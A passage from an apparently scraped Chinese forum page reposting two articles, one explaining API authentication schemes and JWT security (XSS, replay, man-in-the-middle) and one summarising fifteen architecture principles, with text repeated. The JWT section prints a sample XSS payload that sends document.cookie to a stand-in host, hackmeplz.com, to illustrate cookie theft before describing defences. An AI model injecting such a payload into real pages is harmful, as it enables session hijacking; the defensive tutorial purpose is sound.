response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
 
如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:

1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:User ID、共享秘钥。
 
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
 
如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
 
原文地址:https://www.cnblogs.com/xiekeli/p/5607107.html 查看全部
先来认识几种常用的认证机制:
HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:
34831-20160622150107172-139099471.png


这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
 
Cookie Auth
 
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth

34831-20160622150124531-1416052185.png

 
Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢? 
  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

 
基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。

载荷(Payload)
{ "iss": "Online JWT Builder", 
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "jrocket@example.com",
"Role": [ "Manager", "Project Administrator" ]
}

  • iss: 该JWT的签发者,是否使用是可选的;
  • sub: 该JWT所面向的用户,是否使用是可选的;
  • aud: 接收该JWT的一方,是否使用是可选的;
  • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
  • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
  • 其他还有:
  • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

 
上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知识:什么是base64编码?
 
头部(Header)

JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{
"typ": "JWT",
"alg": "HS256"
}
在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我们的请求URL中会带上这串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录 
  • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
  • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
  • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
  • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
  • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;


请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE中,也可能在HTTP的Authorization头中;
 
  • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
  • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
  • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
  • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
  • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
  • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;


对Token认证的五点认识

对Token认证机制有5点直接注意的地方: 
  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

 
基于JWT的Token认证的安全问题
 
确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https1//hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
 
  • XSS攻击代码过滤

移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
 
  • 采用HTTP-Only Cookies

通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E178 ... -mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0
http://tomcat.apache.org/tomca ... .html
或者通过这样来设置:
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
 
如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:

1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:User ID、共享秘钥。
 
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
 
如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
 
原文地址:https://www.cnblogs.com/xiekeli/p/5607107.html

《架构即未来》中最常用的15个架构原则总结

zkbhj 发表了文章 • 0 个评论 • 283 次浏览 • 2017-12-25 12:05 • 来自相关话题

《架构即未来》这本书的第12章简单阐述了架构设计的一些常用的原则。这些原则中很多都是在架构一开始的设计中就要考虑进去的,这样在出现任何问题时,我们都能够及时的处理,和把问题影响的范围有效的缩小。否则就像我现在的项目,一开始设计时,考虑的很少,出问题时,没有做到及时的反馈,和缩小影响范围,只能在事故的代价中将所需要的原则添加进来,慢慢完善。

1.N+1设计

要确保任何你所开发的系统在发生故障时,至少有一个冗余的实例。


一个实例确实很危险,当这个实例出现不明原因的问题不能对外服务,需要debug的时候,如果优先debug,那当前实例就要暂停服务直到你找到问题为止。如果你直接重启实例恢复服务,就没有事故现场进行debug了。而这时如果有一个冗余的实例,就可以先让冗余的实例对外服务,事故现场的环境也得以保留。

多个实例来做负载均衡也是一种不错的选择。

2.回滚设计

确保系统可以回滚到以前发布过的任何版本。


以前做游戏的时候经常遇到回滚,有时候是数据库回滚,有时候是服务器端回滚,一般都是回滚到上个版本。

3.禁用设计

能够关闭任何发布的功能。


当一个功能出现严重问题不得不关闭时,如果关闭整个系统代价就有点大了,所有要有单个功能的开关。像商城系统的支付功能就一定要有开关,如果出现比较严重的bug,可以关闭支付而不影响下单。

4.监控设计

在设计阶段就必须要考虑监控,而不是在实施完成之后补充。


如果监控做的好,不仅能发现服务的死活,检查日志文件,还能收集系统相关的数据,评估终端用户的响应时间。如果系统和应用在设计和构建时就考虑好监控,那么即使不能自我修复,也至少可以自我诊断。

5.设计多活数据中心

不要被一个数据中心的解决方案把自己限制住。


有钱就多建一个,让股东放心。

6.只用成熟的技术

只用确实好用的技术。


不管用什么技术,都要确保是一个成熟的技术。也许某个新技术有众多优点,比如,降低开发成本,提高开发效率,提高可扩展能力,减少终端用户的响应时间。但是,只要这项技术故障率比较高,就绝不能使用。

7.异步设计

只有在绝对必要的时候才进行同步调用。


异步适合并发。

8.无状态系统

只有当业务确实需要的时候,才使用状态。


无状态的系统更利于扩展,更利于做负载均衡。

9.水平扩展非垂直升级

永远不要依赖更大、更快的系统。


微服务是水平扩展的一个例子,不要把所有的功能都集中在一个系统里面。必要的时候把需求分为多个系统,而不是升级原有的系统。

10.设计至少有两个步骤的前瞻性


在扩展性问题发生前考虑好下一步的行动计划。


想的更远一点,就能减少重构的次数。

11.非核心则购买

如果不是你最擅长的,也提供不了差异化的竞争优势则直接购买。


云服务这种的就购买好了。

12.使用商品化硬件

在大多数情况下,便宜的是最好的。


硬件这块儿,满足需求即可,在必要的时候增加配置。

13.小构建,小发布,快试错

全部研发要小构建,不断迭代,让系统不断地成长。


小版本的失败率较低,因为失败率与解决方案中的变更数量直接相关。

14.隔离故障

实现隔离故障设计,通过断路保护避免故障传播和交叉影响。


避免多系统之间的互相影响,这个很重要。

15.自动化

设计和构建自动化的过程。如果机器可以做,就不要依赖于人。


人常犯错误,更令人沮丧的是,他们往往会以不同的方式多次犯同样的错误。
 
原文阅读:https://www.cnblogs.com/cxiaojia/p/6294493.html 查看全部
《架构即未来》这本书的第12章简单阐述了架构设计的一些常用的原则。这些原则中很多都是在架构一开始的设计中就要考虑进去的,这样在出现任何问题时,我们都能够及时的处理,和把问题影响的范围有效的缩小。否则就像我现在的项目,一开始设计时,考虑的很少,出问题时,没有做到及时的反馈,和缩小影响范围,只能在事故的代价中将所需要的原则添加进来,慢慢完善。

1.N+1设计


要确保任何你所开发的系统在发生故障时,至少有一个冗余的实例。



一个实例确实很危险,当这个实例出现不明原因的问题不能对外服务,需要debug的时候,如果优先debug,那当前实例就要暂停服务直到你找到问题为止。如果你直接重启实例恢复服务,就没有事故现场进行debug了。而这时如果有一个冗余的实例,就可以先让冗余的实例对外服务,事故现场的环境也得以保留。

多个实例来做负载均衡也是一种不错的选择。

2.回滚设计


确保系统可以回滚到以前发布过的任何版本。



以前做游戏的时候经常遇到回滚,有时候是数据库回滚,有时候是服务器端回滚,一般都是回滚到上个版本。

3.禁用设计


能够关闭任何发布的功能。



当一个功能出现严重问题不得不关闭时,如果关闭整个系统代价就有点大了,所有要有单个功能的开关。像商城系统的支付功能就一定要有开关,如果出现比较严重的bug,可以关闭支付而不影响下单。

4.监控设计


在设计阶段就必须要考虑监控,而不是在实施完成之后补充。



如果监控做的好,不仅能发现服务的死活,检查日志文件,还能收集系统相关的数据,评估终端用户的响应时间。如果系统和应用在设计和构建时就考虑好监控,那么即使不能自我修复,也至少可以自我诊断。

5.设计多活数据中心


不要被一个数据中心的解决方案把自己限制住。



有钱就多建一个,让股东放心。

6.只用成熟的技术


只用确实好用的技术。



不管用什么技术,都要确保是一个成熟的技术。也许某个新技术有众多优点,比如,降低开发成本,提高开发效率,提高可扩展能力,减少终端用户的响应时间。但是,只要这项技术故障率比较高,就绝不能使用。

7.异步设计


只有在绝对必要的时候才进行同步调用。



异步适合并发。

8.无状态系统


只有当业务确实需要的时候,才使用状态。



无状态的系统更利于扩展,更利于做负载均衡。

9.水平扩展非垂直升级


永远不要依赖更大、更快的系统。



微服务是水平扩展的一个例子,不要把所有的功能都集中在一个系统里面。必要的时候把需求分为多个系统,而不是升级原有的系统。

10.设计至少有两个步骤的前瞻性



在扩展性问题发生前考虑好下一步的行动计划。



想的更远一点,就能减少重构的次数。

11.非核心则购买


如果不是你最擅长的,也提供不了差异化的竞争优势则直接购买。



云服务这种的就购买好了。

12.使用商品化硬件


在大多数情况下,便宜的是最好的。



硬件这块儿,满足需求即可,在必要的时候增加配置。

13.小构建,小发布,快试错


全部研发要小构建,不断迭代,让系统不断地成长。



小版本的失败率较低,因为失败率与解决方案中的变更数量直接相关。

14.隔离故障


实现隔离故障设计,通过断路保护避免故障传播和交叉影响。



避免多系统之间的互相影响,这个很重要。

15.自动化


设计和构建自动化的过程。如果机器可以做,就不要依赖于人。



人常犯错误,更令人沮丧的是,他们往往会以不同的方式多次犯同样的错误。
 
原文阅读:https://www.cnblogs.com/cxiaojia/p/6294493.html